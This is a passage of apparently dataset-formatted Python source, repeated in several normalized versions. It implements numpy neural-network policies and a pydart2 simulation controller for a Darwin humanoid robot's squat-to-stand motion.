NP_Net_MirrorSym:\n def __init__(self, nvec = None, observation_permutation=None,action_permutation=None):\n self.obrms_mean = None # for observation running mean std\n self.obrms_std = None # for observation running mean std\n self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]\n self.nvec = nvec # None if continuous action, otherwise discrete action in the form of\n # [numbins, numbins, ... numbins]\n\n obs_perm_mat = np.zeros((len(observation_permutation), len(observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm))] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope+'/obfilter/count:0']\n obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']\n\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))\n\n for i in range(10): # assume maximum layer size of 10\n if pol_scope+'/pol_net/genff'+str(i)+'/w:0' in params:\n W = params[pol_scope+'/pol_net/genff'+str(i)+'/w:0']\n b = params[pol_scope+'/pol_net/genff'+str(i)+'/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation = np.tanh):\n assert self.obrms_mean is not None\n\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)\n\n for i in range(len(self.nn_params)-1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat)\n\n if self.nvec is None:\n return out + mirrorout\n else:\n # convert for discrete output\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n# Class for a neural network policy in numpy\n# Includes the action filtering and pose interpolation\nclass NP_Policy:\n # interp_sch makes the feed-forward motion\n # interp_sch contains the timing and pose id throughout the trajectory\n def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size,\n obs_perm = None, act_perm = None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n # Get the initial state for the robot\n # RETURN: a 20d vector for the robot pose\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5*(pose_squat + pose_stand)\n\n # Reset the state of the policy\n # This is needed because the action cache essentially forms a memory in the policy\n def reset(self):\n self.action_cache = []\n\n # Return the action to be taken by the robot given the observation and current time\n # INPUT: o, a 40d vector containing the pose and velocity of the robot\n # t, current time in seconds, used to get the reference pose\n # RETURN: a 20d vector containing the target angle (in radians) for the robot joints\n def act(self, o, t):\n # get network output action\n new_action = self.net.get_output(o)\n\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec/2.0) - 1.0\n\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n\n # get feedforward action\n clamped_control = np.clip(filtered_action, -1, 1)\n\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n\n # combine policy output and keyframe interpolation to get the target joint positions\n target_pose = self.ref_target + clamped_control * self.delta_angle_scale\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD)\n\n return target_pose\n\n\n\n\ndef toRobot(positions):\n # reorder joints\n index = [3,0,4,1,5,2,14,8,15,9,16,10,17,11,18,12,19,13,6,7]\n # convert from radians to int\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i]*180*(1/(np.pi*0.088))) + 2048\n\n return robotState[index].astype(int)\n\n\n#######################################\n# test the file in pydart2 simulation #\n#######################################\nif __name__ == \"__main__\":\n import pydart2 as pydart\n import gym\n\n env = gym.make('DartDarwinSquat-v1') # use the dart_world in the gym environment to avoid copying the data\n env.reset()\n dart_world = env.env.dart_world\n\n class Controller(object):\n def __init__(self, world, policy):\n self.world = world\n self.target = None\n self.kp = np.array([2.1, 1.79, 4.93,\n 2.0, 2.02, 1.98,\n 2.2, 2.06,\n 148, 152, 150, 136, 153, 102,\n 151, 151.4, 150.45, 151.36, 154, 105.2])\n self.kd = np.array([0.21, 0.23, 0.22,\n 0.25, 0.21, 0.26,\n 0.28, 0.213\n , 0.192, 0.198, 0.22, 0.199, 0.02, 0.01,\n 0.53, 0.27, 0.21, 0.205, 0.022, 0.056])\n self.step = 0\n self.frameskip = 25\n self.fulltau = np.zeros(26)\n self.np_policy = policy\n self.target_sim_cache = []\n self.target_hw_cache = []\n\n\n def compute(self):\n if self.step % self.frameskip == 0:\n o = np.concatenate([self.world.skeletons[-1].q[6:], self.world.skeletons[-1].dq[6:]])\n self.target = self.np_policy.act(o, self.world.time())\n self.target_hw_cache.append(toRobot(self.target))\n self.target_sim_cache.append(RADIAN2VAL(self.target))\n np.savetxt('darwin/feedforward_target_simindex.txt', np.array(self.target_sim_cache, dtype=np.int))\n np.savetxt('darwin/feedforward_target_hwindex.txt', np.array(self.target_hw_cache, dtype=np.int))\n tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target) - self.kd * self.world.skeletons[-1].dq[6:]\n self.fulltau = np.concatenate([np.zeros(6), tau])\n self.step += 1\n return np.clip(self.fulltau, -3.5, 3.5) # torque limit of 3.5 Nm\n\n\n # Set joint damping\n for i in range(6, dart_world.skeletons[-1].ndofs):\n j = dart_world.skeletons[-1].dof(i)\n j.set_damping_coefficient(0.515)\n\n dart_world.set_gravity([0, 0, -9.81])\n dart_world.skeletons[1].set_mobile(False)\n dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100\n dart_world.set_collision_detector(0)\n dart_world.skeletons[-1].set_self_collision_check(False)\n\n dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)\n for bn in dart_world.skeletons[-1].bodynodes:\n bn.set_friction_coeff(5.0)\n\n ############################################################################\n #### Setup the policy from file ####\n #### refer to this part for construction of policy to be run on hardware ###\n ############################################################################\n pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376,\n 2047, 2171,\n 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073])\n pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048,\n 2048, 2048,\n 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048])\n\n pose_squat = VAL2RADIAN(pose_squat_val)\n pose_stand = VAL2RADIAN(pose_stand_val)\n\n # keyframe scheduling for squat stand task\n interp_sch = [[0.0, pose_squat],\n [3.0, pose_stand],\n [4.0, pose_stand],\n ]\n policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True,\n action_bins=np.array([11] * 20), delta_angle_scale=0.3)\n ############################################################################\n # End of setup for policy\n # policy should be used for executing on other environments\n ############################################################################\n\n # Initialize the controller\n controller = Controller(dart_world, policy)\n dart_world.skeletons[-1].set_controller(controller)\n print('create controller OK')\n\n pydart.gui.viewer.launch(dart_world,\n default_camera=1) # Use Z-up camera\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "import joblib\nimport numpy as np\nfrom darwin.darwin_utils import *\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\ndef toRobot(positions):\n index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,\n 6, 7]\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048\n return robotState[index].astype(int)\n\n\nif __name__ == '__main__':\n import pydart2 as pydart\n import gym\n env = gym.make('DartDarwinSquat-v1')\n env.reset()\n dart_world = env.env.dart_world\n\n\n class Controller(object):\n\n def __init__(self, world, policy):\n self.world = world\n self.target = None\n self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06,\n 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, \n 154, 105.2])\n self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, \n 0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, \n 0.21, 0.205, 0.022, 0.056])\n self.step = 0\n self.frameskip = 25\n self.fulltau = np.zeros(26)\n self.np_policy = policy\n self.target_sim_cache = []\n self.target_hw_cache = []\n\n def compute(self):\n if self.step % self.frameskip == 0:\n o = np.concatenate([self.world.skeletons[-1].q[6:], self.\n world.skeletons[-1].dq[6:]])\n self.target = self.np_policy.act(o, self.world.time())\n self.target_hw_cache.append(toRobot(self.target))\n self.target_sim_cache.append(RADIAN2VAL(self.target))\n np.savetxt('darwin/feedforward_target_simindex.txt', np.\n array(self.target_sim_cache, dtype=np.int))\n np.savetxt('darwin/feedforward_target_hwindex.txt', np.\n array(self.target_hw_cache, dtype=np.int))\n tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target\n ) - self.kd * self.world.skeletons[-1].dq[6:]\n self.fulltau = np.concatenate([np.zeros(6), tau])\n self.step += 1\n return np.clip(self.fulltau, -3.5, 3.5)\n for i in range(6, dart_world.skeletons[-1].ndofs):\n j = dart_world.skeletons[-1].dof(i)\n j.set_damping_coefficient(0.515)\n dart_world.set_gravity([0, 0, -9.81])\n dart_world.skeletons[1].set_mobile(False)\n dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100\n dart_world.set_collision_detector(0)\n dart_world.skeletons[-1].set_self_collision_check(False)\n dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)\n for bn in dart_world.skeletons[-1].bodynodes:\n bn.set_friction_coeff(5.0)\n pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, \n 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, \n 2855, 2073])\n pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, \n 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, \n 2048, 2048])\n pose_squat = VAL2RADIAN(pose_squat_val)\n pose_stand = VAL2RADIAN(pose_stand_val)\n interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]]\n policy = NP_Policy(interp_sch,\n 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl',\n discrete_action=True, action_bins=np.array([11] * 20),\n delta_angle_scale=0.3)\n controller = Controller(dart_world, policy)\n dart_world.skeletons[-1].set_controller(controller)\n print('create controller OK')\n pydart.gui.viewer.launch(dart_world, default_camera=1)\n", "<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\ndef toRobot(positions):\n index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,\n 6, 7]\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048\n return robotState[index].astype(int)\n\n\nif __name__ == '__main__':\n import pydart2 as pydart\n import gym\n env = gym.make('DartDarwinSquat-v1')\n env.reset()\n dart_world = env.env.dart_world\n\n\n class Controller(object):\n\n def __init__(self, world, policy):\n self.world = world\n self.target = None\n self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06,\n 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, \n 154, 105.2])\n self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, \n 0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, \n 0.21, 0.205, 0.022, 0.056])\n self.step = 0\n self.frameskip = 25\n self.fulltau = np.zeros(26)\n self.np_policy = policy\n self.target_sim_cache = []\n self.target_hw_cache = []\n\n def compute(self):\n if self.step % self.frameskip == 0:\n o = np.concatenate([self.world.skeletons[-1].q[6:], self.\n world.skeletons[-1].dq[6:]])\n self.target = self.np_policy.act(o, self.world.time())\n self.target_hw_cache.append(toRobot(self.target))\n self.target_sim_cache.append(RADIAN2VAL(self.target))\n np.savetxt('darwin/feedforward_target_simindex.txt', np.\n array(self.target_sim_cache, dtype=np.int))\n np.savetxt('darwin/feedforward_target_hwindex.txt', np.\n array(self.target_hw_cache, dtype=np.int))\n tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target\n ) - self.kd * self.world.skeletons[-1].dq[6:]\n self.fulltau = np.concatenate([np.zeros(6), tau])\n self.step += 1\n return np.clip(self.fulltau, -3.5, 3.5)\n for i in range(6, dart_world.skeletons[-1].ndofs):\n j = dart_world.skeletons[-1].dof(i)\n j.set_damping_coefficient(0.515)\n dart_world.set_gravity([0, 0, -9.81])\n dart_world.skeletons[1].set_mobile(False)\n dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100\n dart_world.set_collision_detector(0)\n dart_world.skeletons[-1].set_self_collision_check(False)\n dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)\n for bn in dart_world.skeletons[-1].bodynodes:\n bn.set_friction_coeff(5.0)\n pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, \n 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, \n 2855, 2073])\n pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, \n 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, \n 2048, 2048])\n pose_squat = VAL2RADIAN(pose_squat_val)\n pose_stand = VAL2RADIAN(pose_stand_val)\n interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]]\n policy = NP_Policy(interp_sch,\n 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl',\n discrete_action=True, action_bins=np.array([11] * 20),\n delta_angle_scale=0.3)\n controller = Controller(dart_world, policy)\n dart_world.skeletons[-1].set_controller(controller)\n print('create controller OK')\n pydart.gui.viewer.launch(dart_world, default_camera=1)\n", "<import token>\n\n\nclass NP_Net:\n\n def __init__(self, 